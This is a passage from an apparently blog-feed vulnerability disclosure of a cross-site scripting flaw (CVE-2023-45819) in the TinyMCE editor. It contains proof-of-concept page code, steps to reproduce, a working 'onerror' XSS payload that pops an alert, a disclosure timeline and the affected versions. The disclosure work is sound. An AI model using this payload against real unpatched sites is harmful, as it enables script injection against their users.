      <span class="nx">input</span><span class="p">.</span><span class="nx">onchange</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">file</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">files</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

        <span class="kd">var</span> <span class="nx">reader</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FileReader</span><span class="p">();</span>
        <span class="nx">reader</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">id</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">blobid</span><span class="dl">'</span> <span class="o">+</span> <span class="p">(</span><span class="k">new</span> <span class="nb">Date</span><span class="p">()).</span><span class="nx">getTime</span><span class="p">();</span>
          <span class="kd">var</span> <span class="nx">blobCache</span> <span class="o">=</span>  <span class="nx">tinymce</span><span class="p">.</span><span class="nx">activeEditor</span><span class="p">.</span><span class="nx">editorUpload</span><span class="p">.</span><span class="nx">blobCache</span><span class="p">;</span>
          <span class="kd">var</span> <span class="nx">base64</span> <span class="o">=</span> <span class="nx">reader</span><span class="p">.</span><span class="nx">result</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">,</span><span class="dl">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">];</span>
          <span class="kd">var</span> <span class="nx">blobInfo</span> <span class="o">=</span> <span class="nx">blobCache</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="nx">file</span><span class="p">,</span> <span class="nx">base64</span><span class="p">);</span>
          <span class="nx">blobCache</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">blobInfo</span><span class="p">);</span>
          <span class="nx">cb</span><span class="p">(</span><span class="nx">blobInfo</span><span class="p">.</span><span class="nx">blobUri</span><span class="p">(),</span> <span class="p">{</span> <span class="na">title</span><span class="p">:</span> <span class="nx">file</span><span class="p">.</span><span class="nx">name</span> <span class="p">});</span>
        <span class="p">};</span>
        <span class="nx">reader</span><span class="p">.</span><span class="nx">readAsDataURL</span><span class="p">(</span><span class="nx">file</span><span class="p">);</span>
      <span class="p">};</span>

      <span class="nx">input</span><span class="p">.</span><span class="nx">click</span><span class="p">();</span>
    <span class="p">},</span>
    <span class="na">content_style</span><span class="p">:</span> <span class="dl">'</span><span class="s1">body { font-family:Helvetica,Arial,sans-serif; font-size:14px }</span><span class="dl">'</span>
  <span class="p">});</span>
  <span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>
  <span class="nt">&lt;textarea</span> <span class="na">id=</span><span class="s">"file-picker"</span><span class="nt">&gt;&lt;/textarea&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>Serve <code class="language-plaintext highlighter-rouge">poc.html</code> in a browser.</p>
  </li>
  <li>
    <p>Click on the “Insert/edit image” button.</p>
  </li>
  <li>
    <p>In “Source”, enter the following:</p>

    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>blob:&lt;img src=x onerror=alert(tinymce.majorVersion+'.'+tinymce.minorVersion)&gt;
</code></pre></div>    </div>
  </li>
  <li>
    <p>Click “Save” and observe that an alert box appears, indicating that the JavaScript was executed in the browser.</p>
  </li>
</ol>

<p><img src="/assets/img/cve-2023-45819/alert.png" alt="XSS alert box showing TinyMCE version 5.10.7" /></p>

<h2 id="disclosure-timeline">Disclosure Timeline</h2>

<ul>
  <li>2023-10-07 - Vulnerability reported</li>
  <li>2023-10-11 - Vulnerability confirmed</li>
  <li>2023-10-19 - Patch released</li>
  <li>2023-10-20 - CVE introduced</li>
</ul>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Since the release of <code class="language-plaintext highlighter-rouge">6.4.2</code>, notification errors are no longer displayed when the editor fails to retrieve blob image URIs (<a href="https://www.tiny.cloud/docs/tinymce/6/changelog/#fixed-8">changelog</a>). As a result, the PoC provided here is specific to versions <code class="language-plaintext highlighter-rouge">&lt; 6.4.2</code> and <code class="language-plaintext highlighter-rouge">&lt; 5.10.8</code>. However, the vulnerability as a whole affects versions <code class="language-plaintext highlighter-rouge">&gt;= 6.0.0 &lt; 6.7.1</code> and <code class="language-plaintext highlighter-rouge">&lt; 5.10.8</code>. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>https://www.tiny.cloud/blog/tinymce-free-wysiwyg-html-editor <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>Sample code taken from <a href="https://www.tiny.cloud/docs/plugins/opensource/image/#interactiveexample">TinyMCE Docs</a>. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Philip Sinnott</name></author><category term="cve" /><summary type="html"><![CDATA[Not long ago, I discovered a cross-site scripting vulnerability affecting versions &lt; 6.4.2 and &lt; 5.10.81 of TinyMCE. Since the release of 6.4.2, notification errors are no longer displayed when the editor fails to retrieve blob image URIs (changelog). As a result, the PoC provided here is specific to versions &lt; 6.4.2 and &lt; 5.10.8. However, the vulnerability as a whole affects versions &gt;= 6.0.0 &lt; 6.7.1 and &lt; 5.10.8. &#8617;]]></summary></entry></feed>